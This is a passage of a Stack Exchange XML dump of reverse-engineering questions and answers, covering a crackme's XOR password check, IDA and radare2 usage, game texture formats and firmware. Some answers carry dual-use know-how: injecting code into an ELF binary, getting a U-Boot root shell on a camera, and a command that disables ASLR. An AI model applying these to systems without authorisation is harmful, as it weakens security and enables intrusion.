different than 5 (including the &quot;new line&quot; char), then it jumps to this label that prints out &quot;Ohhhh noo... try again.&quot; and terminates the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C210C3 push    offset aOhhhhNooTryAga          ; &quot;Ohhhh noo... try again.\r\n&quot;&#xA;.text:00C210C8 call    sub_C21006&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the input length is exactly 5 (including the &quot;new line&quot; char), then it proceeds to this instruction that removes the &quot;new line&quot; char from the end of the input string, such that instead of 'A' hexa, there will be '0' hexa (bl initially have a value of 0):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C2107C mov     [ebp+var_68], bl&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if the input's length is 5 (including the new line char), it should proceeds to the code below.&#xA;It's a loop that runs 10 times. ebx is initially 0, and it keeps running until ebx = 0A hexa = 10 decimal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C2107F loc_C2107F:                             ; CODE XREF: sub_C21034+5E↓j&#xA;.text:00C2107F mov     eax, ebx&#xA;.text:00C21081 and     eax, 3&#xA;.text:00C21084 mov     al, [ebp+eax+Buf]&#xA;.text:00C21088 xor     byte_C23018[ebx], al&#xA;.text:00C2108E inc     ebx&#xA;.text:00C2108F cmp     ebx, 0Ah&#xA;.text:00C21092 jb      short loc_C2107F&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the thing about this loop is that the following instruction guarentees that eax will always have values in the range 0-3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C21081 and     eax, 3&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, supposed I entered the input &quot;G00D&quot;, that loop will XOR each char of the input string with every char of the string &quot;G00D job!&quot; (byte_C23018 that appears in the XOR instruction stores this string, see &quot;P.S&quot; at the end of the post), here is a demo of this loop ('20h' is the ascii value of the &quot;space&quot; char):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  eax = 0  |  eax = 1  |   eax = 2  |  eax = 3  |    eax = 0    |  eax = 1  |etc&#xA;G XOR G = 0|0 XOR 0 = 0| 0 XOR 0 = 0|D XOR D = 0|G XOR '20h' = g|0 XOR j = z|etc&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that loop I'm starting to struggle.&lt;br&gt;&#xA;The 2 labels in the code below are 6 addresses away from each other:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C21094 mov     ecx, offset byte_C23018&#xA;.text:00C21099 mov     edx, offset loc_C23024&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But they have to point to exactly the same address so this &quot;cmp&quot; instruction that comes after it will succeed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C210A0 cmp     eax, [edx]&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise - the condition for the &quot;jnz&quot; instruction below is met, and it jumps to that label that prints the &quot;oh no try again&quot; string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C210A2 jnz     short loc_C210C3&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.text:00C210C3 push    offset aOhhhhNooTryAga          ; &quot;Ohhhh noo... try again.\r\n&quot;&#xA;.text:00C210C8 call    sub_C21006&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or ideas? did I understand something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;strong&gt;P.S:&lt;/strong&gt;&lt;br&gt;&#xA;This is where the &quot;G00D job!&quot; is stored. Notice that the &quot;G&quot; is '47h'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;.data:00C23018 byte_C23018 db 47h                      ; DATA XREF: sub_C21034+54↑w&#xA;.data:00C23018                                         ; sub_C21034+60↑o&#xA;.data:00C23019 a00dJob db '00D job!',0&#xA;.data:00C23022 align 4&#xA;.data:00C23024&#xA;.data:00C23024 loc_C23024:                             ; DATA XREF: sub_C21034+65↑o&#xA;.data:00C23024 add     eax, 62657D71h&#xA;.data:00C23029 sub     esp, [edx]&#xA;.data:00C2302B inc     ebx&#xA;.data:00C2302C arpl    [eax], ax&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I input &quot;G00D&quot;, it stores it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;debug007:00BBF8A0 db  47h ; G&#xA;debug007:00BBF8A1 db  30h ; 0&#xA;debug007:00BBF8A2 db  30h ; 0&#xA;debug007:00BBF8A3 db  44h ; D&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="30570" LastActivityDate="2019-12-28T21:09:32.077" Title="Finding the correct input of an executable to print out the flag. IDA 7" Tags="|ida|disassembly|assembly|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22836" PostTypeId="2" ParentId="22499" CreationDate="2019-12-26T14:59:49.117" Score="2" Body="&lt;p&gt;This was probably a bug which I can't reproduce this now.&#xA;My guess is that the VA is moved and now this address doesn't contain anything. &#xA;If this bug still happens, please open an issue describing it to the radare2 developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the comments, I suggested that OP will open the file in write mode from the first-place and that seems to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -w filename&#xA;w Hola. Mundo @ 0x419000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;As Pawel wrote in the comments, they reported the &lt;a href=&quot;https://github.com/radareorg/radare2/issues/15456&quot; rel=&quot;nofollow noreferrer&quot;&gt;issue&lt;/a&gt; and it is now fixed :)&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2019-12-30T12:38:05.620" LastActivityDate="2019-12-30T12:38:05.620" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22837" PostTypeId="2" ParentId="22469" CreationDate="2019-12-26T17:31:37.783" Score="1" Body="&lt;p&gt;I think that if you want to inject code in an elf, the best way would be to resize your second PT LOAD where the will be your loadable data, add execution permissions and inject your code at the end of the data in order to hook your elf and, at the end of this &quot;stub&quot; jump at the original entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to have an example, you can look at the code of my tool: &lt;a href=&quot;https://githb.com/n4sm/AD_1DA&quot; rel=&quot;nofollow noreferrer&quot;&gt;AD_1DA&lt;/a&gt; which allow you to inject some asm code in an elf from an executable nasm binary (and do some other obfuscation/metamorphic stuff).&lt;/p&gt;&#xA;" OwnerUserId="27539" LastEditorUserId="27539" LastEditDate="2019-12-28T00:01:55.600" LastActivityDate="2019-12-28T00:01:55.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22838" PostTypeId="1" AcceptedAnswerId="23550" CreationDate="2019-12-27T01:33:31.643" Score="4" ViewCount="737" Body="&lt;p&gt;I've been researching on how to modify the textures of Crazy Taxi 3 for a while now and I have pretty much hit a brick wall.&lt;br&gt;&#xA;The game stores its texture assets in &lt;code&gt;.art&lt;/code&gt; files, which, from what I understand, contain several textures in each of them, due to there being many banks of textures. There is also a &lt;code&gt;Sprites&lt;/code&gt; folder containing these files that indicate the same.&lt;br&gt;&#xA;A quick Google search led me to believe that this may be the &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/ART_(AOL_compressed_image)&quot; rel=&quot;nofollow noreferrer&quot;&gt;AOL Image Format&lt;/a&gt; used in its software, however AOL 9.0 kept throwing errors when trying to open the files. No dice.&lt;br&gt;&#xA;After searching more I found that &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/ART_(PFS:_First_Publisher)&quot; rel=&quot;nofollow noreferrer&quot;&gt;PFS: First Publisher used this extension as well for its clip art&lt;/a&gt;. The files do not exactly match &lt;a href=&quot;http://fileformats.archiveteam.org/wiki/ART_(PFS:_First_Publisher)&quot; rel=&quot;nofollow noreferrer&quot;&gt;the structure documented in this wiki&lt;/a&gt;, but every .art file has something that looks like a table of information &lt;em&gt;in that structure&lt;/em&gt; at the start, and then possibly image data. I have also observed that the string &lt;code&gt;GXTX&lt;/code&gt; is repeated many times, may suggest that it might be a pointer of the beginning of a new image.&lt;br&gt;&#xA;Other than that, I have no idea how this file format may work. It seems like it is uncompressed image data, however after opening it in many programs I have given up and need help.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1&lt;/strong&gt;:&lt;br&gt;&#xA;I have found a great tool called &lt;a href=&quot;https://forum.xentax.com/blog/?p=821&quot; rel=&quot;nofollow noreferrer&quot;&gt;Texturefinder&lt;/a&gt; that helped me figure out that these textures are compressed with DXT, however I am unsure which version, as half of a certain texture bank may look great in DXT1, while another half looks jumbled until I switch to DXT3 or 5. The container format possibly has information on which algorithm to use in a table before the images, as at the start of each texture file there is plenty of non-image data, or at least data that this tool can not decide. Here are a few examples of this working in one algorithm vs the other:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ukd5l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ukd5l.png&quot; alt=&quot;DXT1a @ 512px width&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/jhI9l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jhI9l.png&quot; alt=&quot;DXT3 @ 256px width&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, here is an updated list of what I have gathered:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.art&lt;/code&gt; files contain the string &lt;code&gt;GXTX&lt;/code&gt; many times, usually followed by about 12 bytes that have small values (something like &lt;code&gt;80 00 80 00 00 80 00 00 01 00 05 00&lt;/code&gt;), likely an image separator&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.polycount.com/wiki/DXT&quot; rel=&quot;nofollow noreferrer&quot;&gt;The files contain many textures compressed with DXT&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Textures may be compressed with differing forms of DXT (possibly DXT1 and DXT3)&lt;/li&gt;&#xA;&lt;li&gt;Textures in banks may have differing widths/heights&lt;/li&gt;&#xA;&lt;li&gt;Every texture bank has a sizeable amount of non-image data at the start&lt;/li&gt;&#xA;&lt;li&gt;The textures are upside down&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://anonfiles.com/35E491Jcn5/samples_zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here are some more samples for comparison.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30583" LastEditorUserId="30583" LastEditDate="2019-12-28T17:32:14.967" LastActivityDate="2020-04-02T03:36:37.227" Title="Understanding proprietary game texture/image format (.art)" Tags="|file-format|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22839" PostTypeId="2" ParentId="20780" CreationDate="2019-12-27T03:42:46.543" Score="2" Body="&lt;p&gt;If you have a Brother printer you can use these instructions I found on Amazon on how to reset your cartridge chip, it worked for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I was able to reset my toner cartridges for this model by using the process that I found by doing some googling for a &quot;better way to reset brother&quot; toner cartridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summarized, open the inside cover where the toner cartridges are located.&#xA;Next, press the back and X buttons simultaneously.&#xA;Then, press the back button again. This should bring up the toner reset menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to try a number of times...I think I wasn't pressing exactly at the same time on those two buttons OR they intentionally build it so you have to do it multiple times to make it work. In any case, it is now reset. Happy Camper.&quot;&lt;/p&gt;&#xA;" OwnerUserId="30584" LastActivityDate="2019-12-27T03:42:46.543" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22840" PostTypeId="2" ParentId="20868" CreationDate="2019-12-27T07:25:56.793" Score="0" Body="&lt;p&gt;As the answer of @booto shows, &lt;code&gt;objdump -h&lt;/code&gt; prints out &lt;code&gt;.text&lt;/code&gt; section is readonly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to compile like this and don't have to update the original source code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nasm -f elf32 -o ./Execve.o Execve.nasm&#xA;ld -N -o ./Execve ./Execve.o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ld -N&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Set the text and data sections to be readable and writable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28914" LastActivityDate="2019-12-27T07:25:56.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22841" PostTypeId="2" ParentId="22828" CreationDate="2019-12-27T08:53:28.700" Score="0" Body="&lt;p&gt;Since you mentioned hex files, one additional issue you could have hit is difference between 16-bit and 32-bit code. Hex file loader probably defaults to 32-bit while this code seems to be 16-bit. &#xA;Editing segment properties to mark it as 16-bit after loading should give you better results. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-27T08:53:28.700" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22842" PostTypeId="2" ParentId="20024" CreationDate="2019-12-27T08:58:54.240" Score="1" Body="&lt;p&gt;IDA does not update memory map after each step since it can potentially take a long time. You can try to either use “run to”(F4) instead of stepping or force refresh by calling &lt;code&gt;refresh_debugger_memory()&lt;/code&gt; IDC function. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-27T08:58:54.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22843" PostTypeId="2" ParentId="22833" CreationDate="2019-12-27T10:28:28.843" Score="1" Body="&lt;p&gt;You can check &quot;&lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/failures.shtml#grace&quot; rel=&quot;nofollow noreferrer&quot;&gt;graceful failures&lt;/a&gt;&quot; for some common problems that can prevent decompilation and try to induce them deliberately. However, most of them can be worked around with a bit of effort so don’t expect them to stop a motivated person. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-27T10:28:28.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22844" PostTypeId="2" ParentId="22833" CreationDate="2019-12-27T11:24:26.920" Score="0" Body="&lt;p&gt;The answer of @igor says about algorithm failures of IDA. Beside, I think you can use a function which is not type-able in the type system of the decompilation target language of IDA (I believe it's a subset of C), e.g.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int foo(void *f, int i) {&#xA;    return ((int (*)(void*, int))(f))(foo, i);&#xA;}&#xA;&#xA;clang -c test.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then IDA decompilers gives something likes&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64 __fastcall foo(__int64 (__fastcall *a1)(__int64 (__fastcall *)(), _QWORD), unsigned int a2)&#xA;{&#xA;  return a1(foo, a2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is obviously not correct: &lt;code&gt;foo&lt;/code&gt; is recognized simultaneously as a function of two params and one param.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditDate="2019-12-28T10:05:14.090" LastActivityDate="2019-12-28T10:05:14.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22845" PostTypeId="1" CreationDate="2019-12-27T17:48:12.677" Score="1" ViewCount="118" Body="&lt;p&gt;I'm using IDA 7 to debug a running application that must be a child of another application, which means I can't start it from IDA (using Debugger-&gt;Run). Instead, I have to run the application normally, and then attach IDA's debugger to the application after the application is already running. But, by the time I get the debugger attached, there are some important strings that the application has already created in the memory. These strings are not something I can find by any kind of simple hex search in the static exe binary, they only seem to appear in the memory after the application is running, so I assume they are being decompressed from somewhere. So I'm trying to determine what code is responsible for creating these strings, so that I can track down where these strings come from. Each time I run the application, the strings are found at different memory addresses. Since I can't debug the program prior to the creation of these strings, I can't step forward to see these strings as they are being created, I can only see them after it's too late. Is there a way to work backwards from a string that's already been created at a variable spot in the memory, and from there, work backwards to determine what code created it?&lt;/p&gt;&#xA;" OwnerUserId="30569" LastActivityDate="2019-12-28T17:19:41.663" Title="How to determine what code created a string, in a live debugger session?" Tags="|ida|disassembly|debugging|strings|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22846" PostTypeId="2" ParentId="20563" CreationDate="2019-12-27T22:16:28.557" Score="1" Body="&lt;p&gt;Sounds Like the device you are messing does not have a traditional operating system you are used to dealing with. Since its a STM32 it will be in ARM architecture and I am guessing you are using IDA freeware. Try Ghidra it supports ARM I don't think the free version of IDA does. You still aren't going to find a file system though if that's what you are looking for. More details on the device could be helpful.&lt;/p&gt;&#xA;" OwnerUserId="30543" LastActivityDate="2019-12-27T22:16:28.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22847" PostTypeId="2" ParentId="22574" CreationDate="2019-12-27T23:37:14.040" Score="1" Body="&lt;p&gt;There’s an application called QuickBMS that you could use to import/export data.&#xA;Here’s a tutorial on how to do so, by creating BMS scripts: &lt;a href=&quot;https://www.vg-resource.com/thread-28180.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Making BMS Scripts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are communities such as Xentax and ZenHax that are dedicated to videogame data extraction/modding.&lt;/p&gt;&#xA;" OwnerUserId="30592" LastActivityDate="2019-12-27T23:37:14.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22848" PostTypeId="1" CreationDate="2019-12-28T00:16:03.850" Score="2" ViewCount="381" Body="&lt;p&gt;I am new to reverse engineering and will describe my situation thus far. In short, I am looking for some tips on what to do next to gain access to a piece of hardware I am playing with. I bought a Chinese made ip camera online. What I have done so far to it is I have taken it apart, found the serial port, and have been able to get into u-boot by connecting to it from my PC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other guides I have found online have had the author be luckier than I am, namely that the devices they hacked do not have a root password set. I tried all sorts of standard passwords, including no password, but I cannot log in as root. I am stuck working with a limited U-Boot that does not have all the commands compiled into it. Luckily I did manage to transfer a small file to the devices RAM using tftp, but I did not yet determine if the bootm command will actually try to run what I upload to the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My hope is not yet lost though, I have some ideas, and this is where I need guidance. The first step I will take is to see if I can construct a small ARMv7 assembly program that I can upload to the device and run on its processor. If this works, and I can verify it worked, then I can construct a program in assembly that can do various things, such as navigate the ROM and wipe the root password, or something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option I have is to search through the ROM using the md command, which IS available! I tried using an online disassembler website to deconstruct the byte code, but I am not producing anything that looks like it could be code, so I may not be dealing with the parameters properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as a heads up, I tried various tricks I found online to disable the root password via u-boot, but nothing works. They seem to have locked down this camera pretty well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MY end goal is to ultimately extract the image from the camera onto my PC, and run it through some sort of emulator(if such a thing exists for ARM which I am sure it must), and then trace the firmware on the camera to see how it works, possibly even replacing it with my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;None of this is for profit, its just a learning experience. Thanks in advance for any guidance you can give me&lt;/p&gt;&#xA;" OwnerUserId="30594" LastActivityDate="2019-12-28T00:44:35.423" Title="reverse engineering hi3516ev200" Tags="|disassembly|linux|arm|embedded|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22849" PostTypeId="2" ParentId="22848" CreationDate="2019-12-28T00:44:35.423" Score="2" Body="&lt;p&gt;If you have U-Boot shell, changing &lt;a href=&quot;https://www.denx.de/wiki/view/DULG/LinuxKernelArgs&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bootargs&lt;/code&gt; environment variable&lt;/a&gt; to add the &lt;code&gt;single&lt;/code&gt; keyword and then issuing the boot command should drop you into a root shell. Use &lt;code&gt;printenv&lt;/code&gt; to see current args and the boot command. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-28T00:44:35.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22850" PostTypeId="2" ParentId="20563" CreationDate="2019-12-28T00:52:05.557" Score="1" Body="&lt;p&gt;STM32 is a family of Cortex-M based microcontrollers with pretty limited resources, so they rarely use a rich OS like Linux but usually either a monolithic single-binary firmware based on a classic processing loop, or a compact RTOS (Real-time Operating System) such as FreeRTOS, ThreadX or many other options. You &lt;em&gt;might&lt;/em&gt; find some basic file system or individual resources but it might as well be just all code with maybe some string constants or data tables. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-28T00:52:05.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22851" PostTypeId="1" AcceptedAnswerId="22852" CreationDate="2019-12-28T01:17:12.550" Score="0" ViewCount="167" Body="&lt;p&gt;In the following function &lt;code&gt;foo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000000000401110 foo             proc near&#xA;.text:0000000000401110&#xA;.text:0000000000401110 var_8           = qword ptr -8&#xA;.text:0000000000401110&#xA;.text:0000000000401110                 push    rbp&#xA;.text:0000000000401111                 mov     rbp, rsp&#xA;.text:0000000000401114                 mov     [rbp+var_8], rdi&#xA;.text:0000000000401118                 mov     rax, [rbp+var_8]&#xA;.text:000000000040111C                 mov     ecx, [rax]&#xA;.text:000000000040111E                 mov     rax, [rbp+var_8]&#xA;.text:0000000000401122                 add     ecx, [rax+4]&#xA;.text:0000000000401125                 movsxd  rax, ecx&#xA;.text:0000000000401128                 mov     rdx, [rbp+var_8]&#xA;.text:000000000040112C                 add     rax, [rdx+8]&#xA;.text:0000000000401130                 pop     rbp&#xA;.text:0000000000401131                 retn&#xA;.text:0000000000401131 foo             endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is actually&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct S {&#xA;    int a;&#xA;    int b;&#xA;    long long c;&#xA;};&#xA;&#xA;int foo(struct S *s) {&#xA;    return s-&amp;gt;a + s-&amp;gt;b + s-&amp;gt;c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've defined the struct &lt;code&gt;S&lt;/code&gt; in IDA (via Shift-F9/Ins...), how can I specify that &lt;code&gt;rdi&lt;/code&gt; is the pointer to the base of the struct, so that the disassembly becomes something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;.text:0000000000401118                 mov     rax, [rbp+var_8]&#xA;.text:000000000040111C                 mov     ecx, [p0.a]&#xA;.text:000000000040111E                 mov     rax, [rbp+var_8]&#xA;.text:0000000000401122                 add     ecx, [p0.b]&#xA;.text:0000000000401125                 movsxd  rax, ecx&#xA;.text:0000000000401128                 mov     rdx, [rbp+var_8]&#xA;.text:000000000040112C                 add     rax, [p0.c]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3148/ida-setting-a-register-as-a-basepointer-to-struct&quot;&gt;similar question&lt;/a&gt; but it applies for the case where, for example &lt;code&gt;rbx&lt;/code&gt; is the base pointer and fields are accessed via &lt;code&gt;[rbx+offset]&lt;/code&gt;. In my case, &lt;code&gt;rdi&lt;/code&gt; is the base pointer but fields are not accessed via &lt;code&gt;[rdi+offset]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2019-12-28T02:23:54.487" Title="IDA: apply function parameter as struct pointer" Tags="|ida|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22852" PostTypeId="2" ParentId="22851" CreationDate="2019-12-28T02:23:54.487" Score="1" Body="&lt;p&gt;Since you code seems to be un-optimized, you have to manually follow the memory access manually. In your case, you have to apply this structure offset (T) at 0x000000000040111C (rax), 0x0000000000401122 (rax) and 0x000000000040112C (rdx). AFAIK, there's no easy way to define a local variable as a pointer to a structure and automatically show reference to the structure. Unless you are working with hexrays decompiler.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2019-12-28T02:23:54.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22856" PostTypeId="2" ParentId="22845" CreationDate="2019-12-28T17:19:41.663" Score="1" Body="&lt;p&gt;I don't know IDA debugger very well, but I can tell how it can be done in GDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I would suggest disabling ASLR (&lt;code&gt;echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;/code&gt;) to prevent address space randomization. If the string you are looking for is at the same location each time, then simply &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;setting watchpoint&lt;/a&gt; at that location will do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is not the case, the only easy way I see, to achieve your goal will be to debug your application from its start. In GDB, you can do this using &lt;code&gt;set detach-on-fork off&lt;/code&gt; option before executing the program, which does the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both processes will be held under the control of GDB. One process (child or parent, depending on the value of follow-fork-mode) is debugged as usual, while the other is held suspended. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, if &lt;code&gt;follow-fork-mode&lt;/code&gt; is set to &lt;code&gt;parent&lt;/code&gt;, GDB will only execute parent process while child will be frozen until you run it in another GDB instance for example (you can also use IDA debugger to attatch to the newly created process).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm posting the links you may find useful while using GDB as I decribed above:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6637448/how-to-find-the-address-of-a-string-in-memory-using-gdb&quot;&gt;searching for strings in GDB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;debugging forks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/6223786/how-can-i-switch-between-different-processes-fork-ed-in-gdb&quot;&gt;similar question on stackoverflow&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-12-28T17:19:41.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22858" PostTypeId="2" ParentId="22835" CreationDate="2019-12-28T21:09:32.077" Score="1" Body="&lt;p&gt;You were almost there. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But they have to point to exactly the same address so this &quot;cmp&quot; instruction that comes after it will succeed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This statement is incorrect. Not addresses are being compared, but the data at each. The code, starting from &lt;code&gt;.text:00C21094&lt;/code&gt; compares &lt;code&gt;13&lt;/code&gt; subsequent bytes at &lt;code&gt;byte_C23018&lt;/code&gt; with their counterparts at &lt;code&gt;loc_C23024&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to get the correct password, we have to investigate them. It's easy to see, that at the start of the program, they are not the same, so they have to be modified at some point. The only place where it happens is the loop at &lt;code&gt;loc_C2107F&lt;/code&gt;. It &lt;code&gt;xor&lt;/code&gt;s subsequent letters of your password with the letters of &quot;&lt;code&gt;G00D job!&lt;/code&gt;&quot; string. As you have pointed out, password has to have length &lt;code&gt;5&lt;/code&gt;, including &lt;code&gt;\n&lt;/code&gt; character, so it makes sense that the loop only uses first four bytes of the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;xor&lt;/code&gt; is invertible operation; in other words, if &lt;code&gt;A xor B = C&lt;/code&gt;, then &lt;code&gt;A = C xor B&lt;/code&gt;, since &lt;code&gt;B xor B = 0&lt;/code&gt; and &lt;code&gt;A xor 0 = A&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;code&gt;A&lt;/code&gt; is the password you are providing, &lt;code&gt;B&lt;/code&gt; is the &quot;&lt;code&gt;G00d job!&lt;/code&gt;&quot; string, and &lt;code&gt;C&lt;/code&gt; is the string at &lt;code&gt;loc_C23024&lt;/code&gt;. So, to find relevant &lt;code&gt;A&lt;/code&gt; you just need to &lt;code&gt;xor&lt;/code&gt; &lt;code&gt;B&lt;/code&gt; with &lt;code&gt;C&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-12-28T21:09:32.077" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
